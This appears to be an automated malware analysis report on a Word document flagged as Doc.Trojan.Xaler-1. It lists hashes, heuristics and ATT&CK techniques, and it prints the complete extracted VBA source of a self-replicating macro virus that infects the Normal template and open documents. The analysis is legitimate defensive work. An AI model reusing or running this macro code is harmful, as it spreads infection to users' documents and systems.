Office (OLE) malware analysis — malicious · 901ec0124e6754a1

MALICIOUS

Office (OLE)

177.0 KB Created: 2005-09-15 13:18:00 Authoring application: Microsoft Office Word First seen: 2016-11-10

MD5: 9ac429a1890ef4ce45769ed28a81e5de SHA-1: a95842cb0ad5c25fd18ecd179f5f9dad2819d82b SHA-256: 901ec0124e6754a1c58e08da0b06ed06c4eb3e5aaed13ca96e3b1bfa8a4fd2c1

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The macro attempts to export and re-import VBA code, potentially to achieve persistence or modify the document's behavior. The ClamAV detection of 'Doc.Trojan.Xaler-1' further supports the malicious nature of the file. The macro also interacts with a temporary file path 'C:\temp.tmp'.

Heuristics 3

ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Xaler-1
VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
Call GOODSub
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2316 bytes
SHA-256: `dd2349517adba5aae21cbc8118d67e34acca8aa432f32454b55d8271ebda370c`
Detection ClamAV: Doc.Trojan.Xaler-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'RELAX Private Sub RELAX2() End End Sub Private Sub ComboBox1_Change() End Sub Private Sub Document_Close() Call GOODSub Call RELAX2 End Sub Private Sub GOODSub() On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$ Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub Private Sub Document_Open() Call GOODSub End Sub

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